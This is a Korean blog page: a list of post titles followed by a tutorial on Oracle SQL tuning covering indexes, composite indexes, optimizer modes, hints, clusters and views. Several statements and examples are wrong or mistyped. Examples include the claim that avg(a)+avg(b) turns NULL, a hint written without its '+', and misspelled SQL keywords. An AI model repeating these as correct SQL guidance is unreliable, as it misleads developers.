'분류 전체보기'에 해당되는 글 2491건

  1. 2010.06.16 오라클 튜닝 관련
  2. 2010.06.16 [DB]여러개의 로우를 하나의 컬럼으로 변환
  3. 2010.06.15 android Data Feed / RSS 예제
  4. 2010.06.11 자바에서 파일 이어받기 기능
  5. 2010.06.10 프록시 서버 사용을 통한 방화벽 우회
  6. 2010.05.17 안드로이드 전화번호 가져오기 1
  7. 2010.05.13 네트워크가 없거나 시작되지 않았습니다.
  8. 2010.05.11 java.net.SocketException: Broken pipe
  9. 2010.05.11 [학습자료] Menu생성하여 icon과 title 바꿔보기
  10. 2010.05.11 칸드로이드 소스 및 예제 코드, 팁(Tip)
  11. 2010.05.07 파일 인코딩 일괄 변경 프로그램
  12. 2010.05.04 mp3파일 내에서 앨범사진, 가수이름, 앨범제목, 노래제목 뽑아 내는데 성공해서 자료 올립니다.
  13. 2010.05.04 안드로이드 차트Chart (Graph)관련
  14. 2010.05.04 [개발정보]앱배포시 DB파일 함께 배포하는 방법
  15. 2010.05.04 intent 로 웹브라우저 실행
  16. 2010.05.04 Adding alert() support to a WebView
  17. 2010.05.04 sdcard 에 file 저장하기
  18. 2010.05.04 Using color in Android, by Java code
  19. 2010.05.04 Generate random number in Android
  20. 2010.05.04 Read XML Resources in Android, using XmlResourceParser: XML parsing interface 1
  21. 2010.05.04 A simple RSS reader, using Android's org.xml.sax package.
  22. 2010.05.04 A simple RSS reader, in ListView
  23. 2010.05.04 Android AnalogClock
  24. 2010.05.04 Read Android system info., using System.getProperty 1
  25. 2010.04.28 네이트온 프록시 서버 사용하기
  26. 2010.04.28 원도우 방화벽 실행시 오류 1068 나오면... 1
  27. 2010.04.20 ajax 한글처리
  28. 2010.04.20 ajax filter
  29. 2010.04.20 XSS 공격에 대한 대응 고민
  30. 2010.04.19 [오라클] like 연산에서 %, _ 문자로 검색하기 1
02.Oracle/DataBase2010. 6. 16. 10:32
반응형

Ⅰ. Index 

인덱스는 테이블이나 클러스터에서 쓰여지는 선택적인 객체로써, 오라클 데이터베이스 테이블내의 원하는 레코드를 빠르게 찾아갈 수 있도록 만들어진 데이터 구조입니다. 인덱스는 일련의 엔트리 목록으로 구성되어 있으며, 이러한 엔트리는 테이블의 테이타 행에 사용되는 각각의 키값과 ROWID값을 가집니다. 따라서 특정한 값에 대해 ROWID값을 가지고 접근 하기 때문에 접근속도가 상당히 빠릅니다. 인덱스는 여러 가지 방법으로 구현될 수 있으나 오라클에서는 B*Tree기반의 인덱스를 사용합니다. 왜 이렇게 인덱스에 관해서 장황하게 설명하냐구요? 앞으로 나오는 거의 대부분의 튜닝 과정속에서 index가 중요하게 사용되기 때문입죠. 아울러 어떤이는 “가장 최적의 인덱스를 어떻게 구성할 것인가는 수 많은 애플리케이션을 잘 작성하는 것보다 훨씬중요하다.”라고 하더군요. 인덱스의 ROWID는 16진수 문자열로 표현된 테이블 데이터의 실제 메모리의 물리적인 주소를 저장하고 있는 데이터 타입을 말합니다. 아래는 인덱스를 생성하는 형식입니다.

CREATE [UNIQUE] INDEX index 

        ON table ( 

                column [ASC | DESC], .... 

        ) 

        [CLUSTER cluster] 

        [INITRANS int] 

        [MAXTRANS int] 

        [TABLESPACE tablespace] 

        [STORAGE storage_clause] 

        [PCTFREE int] 

        [NOSORT] 

여기서 column은 인덱스를 생성할 컬럼명을 뜻합니다. 인덱스 생성시 B*Tree의 키 값이 되겠죠,

따라서 SQL문에서 특정 column을 찾고자 할 때 이 키를 가지고 B*Tree 찾게 되므로 중요한 값입니다. 물론 index적용여부 또한 이 키가 결정 할 수도 있으니 키 선정에 많은 신경쓸 필요가 있겠군요. 뒤에서 인덱스 키를 선택하는 방법과 이를 이용한 쿼리 성능 향상 방법에 대해 다룹니다.

따라서 index가 생성되어 있는 경우 이 index를 이용한 검색은 물리주소를 직접 엑세스하기 때문에 일반검색에 비해 훨씬 빠른 속도를 냅니다. 그러니 우리에 목적은 얼마나 잘 이 index를 이용해 검색하느냐가 되겠지요. 그럼 바로 SQL문에서 index를 타지 못하는 경우를 살펴보겠습니다. 여기서 인덱스를 탄다고 하는 말은 인덱스를 이용한 검색이 실행됨을 뜻합니다. 다만 넓은 범위 처리시에는 테이블로의 랜덤 액세스가 증가하여 인덱스를 타는 경우 성능이 저하되기도 합니다. 그러한 경우는 clustering 적용을 검토해 봐야할듯 합니다. 그럼 인덱스를 사용할때 좋은 성능을 내는데도 불구하고 인덱스를 사용하지 못하게 되는 경우를 살펴보겠습니다.

 ◦ 인덱스 사용이 안되는 경우

1) index column이 변형되어 인덱스를 타지 못하는 경우

[예] select * from dept where substr(dname, 1, 3)='abc'; 

여기에서 인덱스로 사용 되어야 할 dname column이 함수로 인해 변형되어, index를 이루는 값을 찾지 못하여 full scan이 발생하는 경우입니다. 여기서 full scan이라함은 테이블의 처음부터 끝까지 순차적인 탐색이 일어나는 것을 뜻합니다. 정확히는 full rage scan이 맞으나 full scan이란 용어도 많이 쓰이므로 구분 없이 쓰겠습니다.

2) index column으로 사용될 column의 값이 부정형인경우 index타지 못한다. 

[예] select * from tmp where job<>'sales'; 

이 경우 역시 B*Tree에서 찾고자 하는 값이 아예 없으므로 인덱스를 타지 못하겠죠.

3)찾을 키가 NULL 혹은 NOT NULL의 경우 index를 타지못한다. 

[예] select * from emp where ename is NOT NULL; 

여기서 NULL인 경우 index는 만들어 지지만 key column엔 첨가되지 못하므로 index를 타지 못합니다, NOT NULL인 경우는 B*Tree에서 찾고자하는 키가 없으므로 역시 index를 타지못합니다. 

4)Optimizer의 취사선택으로 index scan이 발생되지 않는 경우 (‘7890‘만 인덱스로 생성된 경우) 

[예] select * from emp where job like 'ab%' and empno='7890'; 

이 경우는 SQL문이 해석되고 실행되는 과정에서 optimizer가 비용(여기선 탐색시간 혹은 응답시간 등)이 적게드는 키 값을 선택하여 그것을 기본으로 하여 다른 키 값을 찾기 때문에 (이것을 ‘경로를 선택한다’라고 합니다.) 위의 예에선 ‘ab%’에 해당하는 column이 테이블내에서 특정한 부분에 집중되어 있는 경우 optimizer가 이 column을 선택 할 경우 index를 타지 못하게 됩니다.

일단 이러한 경우만 피해간다고 하면 index사용시 상당한 효과를 볼 수 있겠습니다. insert, update, delete시 인덱스를 재구성해야하기 때문이죠 index도 서버에겐 하나의 overhead입니다. 그것을 어떤 상황에 맞게 구성하고 사용하는 것이 중요하겠죠.

 그러면 위와 같은 쿼리문이 꼭 필요한 경우에 인덱스를 적용시키고자 할 경우엔 어떻게 해야 될까요? “인덱스 타도록 강제로 지정해 주면 되지”하시면 정답입니다. 그럼 각각의 경우 어떻게 해결 할지 차례대로 살펴보겠습니다.

 ◦인덱스 미사용 해결

1) index column에 외부적(external)인 변형이 이루어진 경우

◦select * from dept where substr(dname, 1, 3)='abc';

→select * from dept where dname like "abc%";

◦select * from emp where sal*12=1200000;

→select * from emp where sal=1200000/12;

◦select * from emp where TO_CHAR(HIREDATE,'YYMMDD')='940101';

→select * from emp HIREDATE=TO_DATE('940101','YYMMDD');

◦select * from emp where job like 'ab%' and empno='7890';

→??? 앞서 말씀 드렸듯이 이경우는 데이터의 전체적인 분포를 알아야만 optimizer가 어떤 것을 선택 할지 예상이 가능하므로 테이블에 대한 지식이 우선해야 겠습니다.


◦select * from emp where empno between 100 and 200 and NVL(job, 'x')='clerk';

→select * from emp where empno between 100 and 200 and job='clerk';


◦select * from emp where deptno || nob='10salesman'; 

→select * from emp where deptno='10' and job='salesman'; 


[예외] 어디에나 그렇듯이 예외도 있습니다. 여기서 예외란 인덱스를 타지 않도록 만드는 경우가 인덱스를 타는 경우보다 빠른 SQL문을 말합니다. 이러한 방법을 사용하실 때엔 테이블 전체적인 데이터 분포도나 많이 사용되는 쿼리 종류라든지 혹은 자주 검색되는 데이터의 종류 등의 것에 대한 지식이 요구됩니다. 한마디로 테이블을 꿰고 있어야 된다는 말씀. 이러한 경우 index 적용을 피하게 하는 방법을 ‘의도적인 suppressing’ 이라합니다. 

[예]

◦select * from emp where job='manager'; 

→select * from emp where RTRIM(job)='manager'; 

여기서 job이 index로 구성 되있는 경우이고, 사람들이 입력시 왼쪽이나 오른쪽에 공백을 많이 입력하는 경우라면 굳이 index를 타는 것이 full scan보다 빠를 순 없습니다. 따라서 이러한 경우라면 full scan이 빠르겠죠. 


2) index column의 내부적(internal)인 변형시

앞서 살펴보았던 외부적인 변형들의 경우 대개 탐색을 위한 ‘키’값의 변형을 줄이는 방법이 많았던 반면 내부적인 변형은 바로 전에 보았던 suppressing이 주류를 이룹니다. 그럼 예를 보도록 하죠. 

테이블의 구조가 다음과 같다고 하고 아래의 예를 보시기 바랍니다. 

[테이블] 

create table samplet( 

        chr char(10), 

        num nubmer(12,3), 

        var varchar2(20), 

        dat date); 

◦select * from samplet where chr=10; 

→select * from samplet where TO_NUMBER(cha)=10; 

◦select * from samplet where num like '9410%'; 

→select * from samplet where TO_CHAR(num) like '9410%'; 

◦select * from samplet where dat='01-JAN-94'; 

→select * from samplet where dat=TO_DATE('01-JAN-94'); 

왜 설명 안하냐구요? 한번에 몽땅하겠습니다. suppressing의 경우 몇가지 기준이 있습니다. 대개의 경우 아래의 룰을 이용하시면 되겠습니다. 

변경 전 형식 
 변경 후 형식 
 
number=character
 TO_CHAR(number)=character
 
character=number
 TO_NUMBER(character)=number
 
date=character
 date=TO_DATE(character)
 

3) NOT Operator의 경우

◦select 'Not fount!' into :col1 from emp where empno<>'1234'; 

→select 'OK' into:col1 from emp where NOT EXISTS ( 

        select * from emp where empno='1234') 

여기에선 서브쿼리를 이용하여 키를 포함 하는 튜플들을 제외한 값들을 가져오게끔 변형한 예입니다. 이는 검색에 사용되는 키가 not operator인 경우 변형 할 수 있는 한가지 방법이 되겠습니다. 

◦select * from emp where ename like '김%' and job <> 'sales'; 

→(1)select * from emp where ename like '김%‘ 

        MINUS 

        select * from emp b where b.job ='sales'; 

→(2)select * from emp a where a.ename like ‘김%’ and NOT EXISTS( 

        select * from emp b where a.ename=b.ename and b.job='sales'); 

(1)번은 앞에서와 같은 변형방법으로 이것의 검색 횟수는 (자료가 n튜플 이라면) 2n번이 되겠습니다. 그에 비해 (2)번은 둘다 full scan이 일어나서 검색 횟수는 n2이 되겠죠. 

4) NULL, NOT NULL의 경우 

◦select * from emp where ename si not null; 

→select * from emp where ename > ''; 

ename이 문자형일 경우에 사용하는 예입니다.  

◦select * from emp where comm is not null; 

→select * from emp where comm > 0; 

comm이 number형일 경우 사용하는 예입니다. 

◦select * from emp where comm is null; 

→이건 full scan이 필요하겠죠. 아니면 null 값만을 가지고 index를 생성할수도 있으나 그만큼의 null이 있다면 그 외의 경우에서 빼는 방식이 더 빠르겠죠.

많은 사람들이 NULL을 정확하게 이해하지 못하고 사용하기를 꺼려합니다. 물론 그렇지 않은 분들도 많으시겠지만.... ^^;; 일단 하나만 기억 하고 넘어가야 할 것은 NULL이 탐색의 키로 이용될 경우 무조건 full scan이 발생하므로 이용시 많은 주의가 필요합니다. 그럼 NULL대해서 알아보죠. 

NULL은 테이블내에서 공백으로 표시 됩니다. 특징으로는 다음과 같죠 

∘ 어떤 값보다 크지도 않고 작지도 않다. 

∘ 그러므로 어떤 값과 비교될 수 없다. 

∘ 즉, NULL과의 연산결과는 NULL이 된다. 

대부분의 사람들이 세 번째를 놓치게 되는 경우가 많이 있습니다. 

즉 a,b중 하나가 NULL이면 avg(a+b)와 avg(a)+avg(b)는 모두 결과가 NULL이 됩니다. 

그러나 sum(a)의 경우는 NULL값을 참여시키지 않기 때문에 정확한 값이 나오죠. 

 그러면 이러한 NULL을 어떻게 이용 할 것인가? 

일단 조건이 있습니다. 특정한 data type이 테이블 내에서 많은 경우 아울러 full scan이 꼭 필요한 경우 이 data type을 NULL로 지정합니다. NULL은 공백으로 표시 되기 때문에 기억장치에서 공간을 차지 하지 않습니다. 따라서 NULL로 지정한 만큼 공간을 절약할 수 있겠죠. “그게 얼마나 된다고 굳이 NULL로 지정합니까?” 이렇게 물으신다면 만약 테이블 내에서 남여를 구분하는 column이 있다고 가정하면 남과 여중 한 값을 NULL로 한다면 일단 50%는 아끼는 셈이 되죠. 그양이 비록 작을 지라도. 따라서 이 경우에도 손익을 생각하셔서 적용하시면 됩니다. 

또 다음과 같은 경우에 NULL을 사용합니다. 


∘ 미확정 값을 표현하고자 할 때 

∘ 특정 값이 지나치게 많고 나머지 값만 주로 인덱스로 액세스 하고자 할때(위의 경우와 인덱스적용하여 공간과 탐색시간을 줄여주는 방법입니다.) 

∘ 결합인덱스의 구성컬럼이 된다면 NOT NULL로 

∘ 입력 조건값으로 자주 사용되면 NOT NULL로 


마지막의 두가지 경우는 앞으로 나올 예정이므로 따로 설명하지 않겠습니다. 


5) Optimizer의 취사선택으로 index scan이 발생되지 않는 경우를 앞서 살펴 보았습니다. 그러면 어떻게 해야 Optimizer가 제대로 index를 적용하도록 할까요? 이것을 알기위해서 먼저 Optimizer의 역할에 대해서 알아 보겠습니다. 

Optimizer의 목표는 select, update, insert, delete문을 최소한의 프로세싱 시간과 최단 시간의 I/O를 사용하여 실행 시키도록 하는 것이다. 이를 위해 실행계획을 세우고 문장을 실행하기 전에 가장 효과적인 계획을 선택하는 일을 한다. 이를 위해 Optimizer는 실행계획중 규칙기반 접근법(rule-based approach) 또는 비용기반 접근법(cost-based approach)중 하나를 선택한다. 그러나 Optimizer역시 사람이 만든것이라 완벽하게 처리할 수 없다 따라서 만물의 영장인 사람이 정확한 정보를 주어 신속하게 처리하도록 도움을 주어야만 한다. 그럼 앞에서 말한 두가지 접근법에 대해서 알아 보도록 하겠습니다.


①Rule-Based방식 

여러개의 가능한 경로를 찾아서 이미 정해져 있는 Rank를 기준으로 서로의 비용을 비교하고, 이를 토대로 가장 효율적인 것을 선택한다.

옵션 
 액세스경로(Access Path) 
 

 ROWID에 의한 단일 행 접근 
 

 클러스터 조인(Cluster Join)에 의한 단일 행 접근 
 

 Unique key 또는 Primary key를 사용하는 Hash Clushter key에 의한 단일행 접근 
 

 Unique key 또는 Primary key에 의한 단일행 접근 
 

 Cluster Join 
 

 Hash Cluster key 
 

 Indexed Cluster key 
 

 복합키(Composite key) 
 

 단일 컬럼 인덱스(single-column indexes) 
 
10 
 인덱스 컬럼에서의 바운드 범위 조회 
 
11 
 인덱스 컬럼에서의 언바운드 범위 조회 
 
12 
 sort-merge join 
 
13 
 인덱스 컬럼의 MAX 또는 MIN값 
 
14 
 인덱스 컬럼에서의 order by 사용 
 
15 
 full-table scan 
 


②Cost-Based방식 

가장 효율적인 실행계획을 선택하기 위해서 데이커베이스의 통계자료를 사용한다. 오라클 RDBMS사용시 ANALYZE명령어를 사용하면 테이블, 클러스터, 인덱스 등의 통계자료들이 수집, 저장 된다. Cost-Based방식은 이렇게 모인 데이터를 사용한다. 


③ANALYZE명령어 

Cost-Based방식에 사용할 통계 데이터를 모아준다. 또한, 이 명령어는 다음과 같은 목적으로도 사용된다.

Function 
 설   명 
 
통계데이터 수집
 Table, Cluster, Index등에 관련된 자료들을 모아 Cost-Based Optimization에 사용한다. 
 
데이터 무결성 확인
 Table, Cluster, Index등의 무결성 확인 작업을 한다. 
 
Chained-row통계
 Table, Cluster에 있는 데이터 체인행(Chained row)에 대한 통계 자료 수집 
 


그럼 Optimizer가 어떻게 작동하는지 몇가지 예를 들어 보겠습니다. 

∘select * from emp where ename like 'ab%' and empno='7890'; 

→둘다 index일 때 값이 더욱 확실한 empno index만 사용합니다. 

∘select * from emp where ename like 'ab%' and job like 'sa%'; 

→ename or job index중 하나만 사용, 혹은 full scan(이 경우엔 index merge라고 함) 

∘select * from emp where empno > '10'; 

→이와 같은 경우는 특정한 값을 찾는 것이 아니라 테이블 전체를 탐색해야 하므로 full scan선택이 비용이 덜듭니다. 따라서 full scan 선택. 

∘select /* INDEX(emp job_IDX)*/ from emp where ename like 'ab%' and job like 'sa%'; 

→만약 데이터의 분포도나 탐색빈도수가 job index가 월등히 많이 사용된다면 프로그래머가 강제적으로 우선순위를 높여줄수 있는데 이것이 바로 HINT라고 합니다. 형식은 위와 같이 쉽운 편이지만 테이블에 들어가는 데이터들에 대한 지식이 우선되야 하겠지요. 

<Hints에 관하여... 

Hints를 통해서 optimizer에게 알려줄수 있는 정보는 다음과 같습니다. 

-SQL연산을 위한 Cost-based접근 방식의 목표 

-index보다 더 효과적인 Scan방식 

-Join순서 

-병렬연산 순서 

문법 

/*+comment */ →‘+’ 다음에 나오는 내용이 Hints라는 것을 Optimizer에게 알려준다. 

이정도만 이해하고 넘어가도 될 것 같습니다. 


 


 


▸Index의 활용 및 적용기준 

“index를 언제 사용 할 것이냐?” 문제가 되겠지요. 절대적인 기준은 아니지만 대개의 경우 적용할 만한 적용 기준은 다음과 같습니다.


-6블록 이상의 테이블에 적용(6블록 이하는 연결고리만) 

-컬럼의 분포도가 10-15%이내인 경우 적용 

-분포도가 범위내이더라도 절대량이 많은 경우에는 단일 테이블 클러스터링을 컴토할 것 

-분포도가 범위 이상이더라도 부분범위 처리를 목적으로 하는 경우에는 적용 

-인덱스만을 사용하여 요구를 해결하고자 하는 경우는 분포도가 나쁘더라도 적용할 수 있음(손익분기점 10-15%이내) 

-질의에서 선택된 column의 값이 동일한 Rows들은 그 Table에 할당된 data block에 균일하게 분산되어 있을 때 

-Table의 row는 질의되는 column에 대하여 불규칙적으로 분포 

-Table에 할당된 각 data block은 최소한 10개의 row를 포함할 때 적용 

-Table은 상당히 작은 수의 column을 가질 때 

-Table에 대한 대부분의 질의들은 비교적 단순한 WHERE절일 때 

-Cache hit ratio는 낮고 operating system cache는 없을 때


<분포도 = 1/컬럼값의 종류 * 100 = 컬럼값의 평균 로우수/테이블의 총 로우수 * 100 

대개 앞의 것을 많이 이용합니다. 예를 들어 5가지 데이터가 들어있는 컬럼의 분포도는 20%이다.


 


 

<부분범위 처리란? 

먼저 전체범위 처리에 대해서 알아보면 SQL문에서 group by문이나 order by 문의 경우 테이블의 처음부터 끝까지 전제적으로 정렬이 이루어 져야 한다. 이러한 경우를 전제 범위 처리라 한다. 이와는 반대의 경우를 부분범위 처리라하고 튜닝시 되도록 전제범위처리를 피하는 것이 바람직하다. 


 

<손익분기점 read하고자 하는 컬럼스/access해야할 컬럼수 * 100 

 손익분기점이 높으면 hit ratio가 낮음을 의미하고, 손익분기점이 낮으면 hit ratio가 높다. 


 


 


지금까진 single index만을 살펴 보았습니다. 그러면 결합인덱스에 대해서 알아 보겠습니다. 

결합 인덱스는 말그대로 2개이상(오라클에선 16개까지 가능)의 컬럼을 가지고 index를 생성하는 경우를 말합니니다.  

▸결합인덱스의 장점 

-좋은 분포도 : 나쁜 분포도를 가진 column을 결합한 결합 인덱스가 더 좋은 분포도를 가질 수 있다. 

-저장 공간의 효율성 : 한 질의에 의해 선택된 모든 칼럼이 결합인덱스에 있을 경우, table을 access하지 않고 결합 인덱스 만으로 원하는 값을 가져올 수 있다. 그러나 그만큼의 디스크나 메모리에 부하가 많이 걸릴 것이다. 

[예] select empno from emp where empno='123';  

이 경우는 특별히 테이블을 access하지 않고 index만으로 해당값을 출력할수 있다. 따라서 검색속도가 비약적으로 빨라지는 효과를 볼 수 있습니다. 

▸결합 인덱스의 column선택을 위한 지침  

-각 column의 분포도 보다 결합 인덱스에서 결합된 분포도가 더 좋을 경우 

-여러 질의에서 하나이상의 칼럼값을 가진 칼럼의 동일한 집합을 질의할 경우, 이들 모든 칼럼을 포함하는 결합 인덱스 생성을 고려한다. 

▸결합 인덱스 구성시 column순서 배치를 위한 지침  

-WHERE절에 사용된 칼럼을 선행부분으로 만들기 위한 결합 인덱스를 생성 

-칼럼의 일부가 WHERE절에서 자주 사용될 경우 =>자주 select되는 column을 선행부분올 만들어서 이 column만으로 인덱스를 사용할 수 있도록 한다.  

-모든 칼럼이 WHERE절에서 동일하게 사용되면 =>질의 성능을 개선하기 위하여 CREATE INDEX statement에서 분포도가 좋은 순서대로 배열 

-모든 칼럼이 WHERE절에서 동일하게 자주 사용되지만 데이터가 한 column에 대해 물리적으로 정렬되어 있으면 =>그 column을 결합 인덱스의 첫번째로 구성 

-‘=’을 사용할 땐 선택범위가 좁은 것을 앞에 놓는다.


<in을 이용한 access효율 향상. (in은 ‘=’의 의미를 가지고 있다.) 

예) select * from tab1 where col1='a' and col2 between '111' and '112'; 

→select * from tab1 where col1='a' and col2 in('111', '112'); 

여기서 col2의 값이 적을수록 후자의 속도가 빨라진다. 물론 보통의 경우에도 후자가 빠르다. 

일반적으로 between, like문이 들어가는 SQL문은 in문으로 대체해 준다. 


 


 

[주의] 만약 index가 (a+b+c)로 이루어져 있을 경우 where조건에서 a, a+b, a+c, a+b+c가 나오면 index적용이 가능 하지만, b, b+c가 나오면 index적용이 불가능하다. -> B*Tree에서 검색이 불가능 하기 때문에.. 따라서 결합인덱스의 첫 번째 컬럼이 꼭 나와야 index를 적용할 수가 있다. 아울러 대개의 결합인덱스는 최고 5개까지가 적당함. 그럼 간략히 정리를 해보겠습니다. 

<인덱스 선정 절차 

-해당 테이블의 액세스 유형조사 

-대상 컬럼의 선정 및 분포도 분석 

-반복 수행되는 액세스 경로의 해결 

-클러스트링 검토 

-인덱스 컬럼의 조합 및 순서의 결정 

-시험생성 및 테스트 

-수정이 필요한 애플리케이션 조사 및 수정 

-일괄 적용 

<액세스 유형의 조사(설계단계) 

-반복 수행되는 액세스의 형태를 찾는다. 

-분포도가 아주 양호한 컬럼의 찾아 액세스 유형을 찾는다. 

-자주 넓은 범위의 조건이 주여되는 경우를 찾는다. 

-자주 조건절에 사용되는 컬럼들의 액세스 유형을 찾는다. 

-자주 결합되어 사용되는 경우를 찾는다. 

-sort의 유형을 조사한다. 

-통계자료 추출을 위한 액세스 유형을 조사한다. 

<index의 활용(선정기준) 

-분포도가 좋은 컬럼은 단독적으로 생성하여 활용도 향상 

-자주 조합되어 사용되는 경우는 결합인덱스 생성 

-각종 엑세스 경우의 수를 만족할 수 있도록 인덱스간의 역할 분담. 

-가능한 수정이 빈번하지 않는 컬럼 

-기본키 및 외부키(조인의 연결고리가 되는 컬럼) 

-반복수행(loop)되는 조건은 가장 빠른 수행속도를 내게 할 것 

-실제 조사된 액세스 종류를 토대로 선정 및 검증 

<index의 활용(고려사항) 

-새로 추가된 인덱스는 기족 액세스 경로에 영향을 미칠 수 있음 

-지나치게 많은 인덱스는 오버헤드 발생 

-넓은 범위를 인덱스로 처리시 많은 오버헤드 발생 

-Optimizer를 위한 통계데이타를 주기적으로 갱신 

-인덱스의 개수는 테이블의 사용형태에 따라 적절히 생성 

-분포도가 양호한 컬럼도 처리범위에 따라 분포도가 나빠질 수 있음. 

-인덱스 사용원칙을 준수애야 인덱스가 사용됨 

-조인(join)시에 인덱스가 사용여부에 주의 

-데이터 변경시 자주 리빌드해주는 것이 좋다.



Ⅱ. Cluster

 cluster는 테이블에 데이터를 저장하는 방식입니다. 데이터를 저장하는데 있어서 클러스터를 사용할 것인지의 여부는 SQL문장과는 아무런 관계가 없으면, 단지 테이블을 저장하는 방법에 적용됩니다. cluster는 다수 개의 테이블을 하나의 오라클 블록에 저장하는 메커니즘이며, cluster index를 꼭 필요로 합니다. 테이블을 clustering하는 순서는 다음과 같습니다.


①cluster를 생성한다. 

②cluster index를 생성한다. 

③cluster table들을 생성한다. 

그럼 cluster생성 문법을 알아 보겠습니다. 

CREATE CLUSTER cluster( 

        column data_type, ... 

        [PCTUSED int] 

        [PCTFREE int] 

        [INITRANS int] 

        [MAXTRANS int] 

        [SIZE int [K or M]] 

        [TABLESPACE tablespace] 

        [STORAGE storage_clause] 


여기서 주의 해야 할 것은 SIZE로 이것은 하나의 클러스터 키와 그 데이터를 함께 저장하는 데 필요한 스페이스의 크기를 byte단위로 지정한다. 즉 SIZE는 하나의 데이터 블록에 같이 저장될 쉬 있는 클러스터 키의 총수를 결정 짓는 옵션이다. 


[예] 

①create cluster cluster_t1_t2( 

        idnum number(3) 

size 400 

tablespace data1 

storage (initial 30k); 


②create index ind_cluster_t1_t2( 

on cluster cluster_t1_t2 

tablespace idx1; 


③create table t1( 

name varchar2(10), 

hire_date date, 

idnum number(3) 

cluster cluster_t1_t2 (idnum); 

create table t2( 

name varchar2(10), 

idnum number(3) 

cluster cluster_t1_t2 (idnum); 


이렇게 지정하면 테이블 t1과 t2의 데이터는 같은 데이터 블록에 저장됩니다. 그럼 이제 본론으로 들어가겠습니다. 

이해를 쉽게하기 위해 앞에서 보았던 index와 cluster index의 차이 점을 짚어보면 일반 index는 rowid를 가지고 있는 반면 cluster index는 block의 header를 가지고 있습니다. 따라서 보통의 경우엔 일반 index가 빠른 속도를 냅니다. 그러나 중복 데이터를 많이 가지고 있는 컬럼이 있는 테이블의 경우 그 성능이 훨씬 높게 됩니다. 물론 I/O이용이 적으면서 이러한 효과를 볼 수 있다니 얼마나 좋습니까. 따라서 앞에서 다루었던 index와 마찬가지로 cluster 역시 해당 테이블에 대한 정확한 이해를 바탕으로 이루어 져야 합니다. 그럼 정리해 보겠습니다. 

<cluster의 특징 

-지정된 컬럼값의 순서대로 로우를 저장시키는 방법 

-하나 혹은 그 이상의 테이블을 같은 클러스터내 저장 가능 

-엑세스 기법이 아니라 액세스 효율향상을 위한 물리적 저장기법 

-검색 효율을 높여주나 입력, 수정, 삭제시는 부하증가 

-분포도가 넓을 수록 오히려 유리(인덱스의 단점을 해결 5~7배) 

-분포도가 넓은 테이블의 클러스터링은 오히려 저장공간 절약 

마지막 것은 좀 이해가 안되는 부분이요. 이유인 즉슨 오라클 내부에서 동한건에 대해 나머지 값들은 저장이 안된다고 합니다. 따라서 그만큼의 저장 공간이 절약되겠죠. 

<cluster의 활용(선정기준) 

-6블록 이상의 테이블 

-다량의 범위를 자주 액세스 해야 하는 경우 

-인덱스를 사용한 처리가 부담되는 넓은 분포도 

-여러 개의 테이블이 빈번한 조인을 일으킬 때 

-반복 컬럼이 정규화 작업에 의한 어떨수 없이 분할된 경우 

-UNION, DISTICT. ORDER BY, GROUP BY가 빈번한 컬럼이면 고려해 볼 것 

-수정이 자주 발생하지 않는 커럼

-처리 범위가 넓어 문제가 발생되는 경우 단일 테이블 클러스터링 

-조인이 많아 문제가 발생되는 경우는 다중 테이블 클러스터링 

<cluster의 활용(고려사항) 

-데이터 처리(입력, 수정, 삭제)에 오버헤드 발생 주의 

-인덱스로도 충분한 범위는 클러스터링 효과가 없음 

-클러스터 키는 수정이 빈번하지 않을 것 

-각종 액세스형태에 대해 인덱스와 적절한 역할 분담 

-클러스터링은 기존의 인덱스의 수를 감소시킴(인덱스 재구성) 

-클러스터 SIZE 인자가 중요 

-클러스터 키별 로우 수의 편차가 심하지 않을 것 

-클러스터에 데이터 입력시 로우가 적은 테이블부터 실시할 것 

-클러스터링된 테이블 조인시 로우 수의 역순으로 from절에 기술할 것 

-클러스터 키를 첫 번째로 하는 인덱스는 생성하지 말것(optimizer에 의해 선택 문제 발생) 

<index와 cluster의 비교





 


Ⅲ. VIEW 

 보통 뷰를 이용는 경우는 보안이나 복잡한 쿼리를 피하기 위해 사용 하는 경우가 많이 있습니다. 그럼 과연 튜닝에는 어떻게 쓰일수 있을까요? 일반적으로 튜닝시에는 다음의 두가지 목적을 위해 사용합니다. 


<수행속도 향상을 위한 뷰 

-수행 속도 향상을 위해 미리 튜닝한 select문을 뷰로변환 시켜 사용 

-M:1조인의 연결회수를 감소 시키기 위해 먼저 group by된 뷰를 만들고 그 뷰와 조인을 일으키게 하기 위한 뷰 

-특정 client tool의 문제 해결을 위한 뷰 

-수행 속도에 심한 영향을 주는 넓은 범위 처리나 특정 컬럼의 조건검색을 막아 악성검색을 방지하기 위한 뷰 

-특정한 절차로 수행시키기 위해 뷰의 select list에 suppressing, hint등을 사용한 뷰 

설명이 필요 없으리라 생각됩니다. 

<SQL 기능 향상을 위한 뷰 

-불규칙적인 sort가 필요한 경우 

-group by결과를 다시 가공하고자 하는 경우(group by는 어쩔수 없이 full scan이 발생 합니다. 따라서 그에따른 비용도 많이 듭니다. 따라서 미리 group by결과를 뷰로 가지고 있으면 그만큼의 비용을 절감 할 수 있겠지요) 

-서로 다른 테이블의 group by결과를 같은 줄에 맞추려는 경우 

-ROWNUM을 이용한 특별한 처리 

-각 row에 있는 값들(예:일자)간의 가공처리(예:기간산정) 

-각각의 소계와 그 내역을 하나의 SQL로 처리 

-복잡한 outer join의 해결을 위한 뷰(outer join은 만족하는 레코드뿐만 아니라 만족하지 않는 레코드들도 출력을 해줍니다. 따라서 만족하지 않는 값으로 찾고자 할 경우 full scan이 발생하여 전제 SQL문의 속도를 늦춰 줍니다. 이러한 경우 뷰를 이용하여 만족하지 않는 레코드를 따로 처리해 놓으면 훨씬 빠른 속도를 얻을수 있습니다.) 

-테이블은 row를 가지지 않으나 뷰는 row를 가지도록 한 뷰 

-SQL*From의 execute_query를 활용하기 위한 뷰 

-기타 SQL의 기능 확장을 위해 원하는 임의의 집합이 필요한 경우 

-코드성 테이블을 미리 조인한 후 fact table과 다시 조인한다.(코드성테이블이란 master file과 같은 의미로 삽입이나 삭제가 거의 되지 않고 참조위주의 테이블을 말합니다. 예로 이자율테이블이나 할인율 테이블 같은 것이 되겠죠, 그리고 fact table은 사용자가 입력한 테이터 정보를 모두 가지고 있는 테이블입니다. 보통의 테이블들이 해당 되겠죠. 아울러 덩치도 아주 큽니다.) 

-조인시 데이터 범위가 작은 테이블을 먼저 조인한 다음 점점 큰 순서로 조인하는 것이 훨씬 빠른 속도를 냅니다. 

Ⅳ. 부분범위 처리(Partial Range Scan) 

그럼 일단 그림을 먼저 보겠습니다





 

<부분범위 처리 방법 

-조건을 만족하느 전제 집합이 아닌 일부분만 access 

-data량이 많아도 performance에 지장이 없고, 오히려 향상 

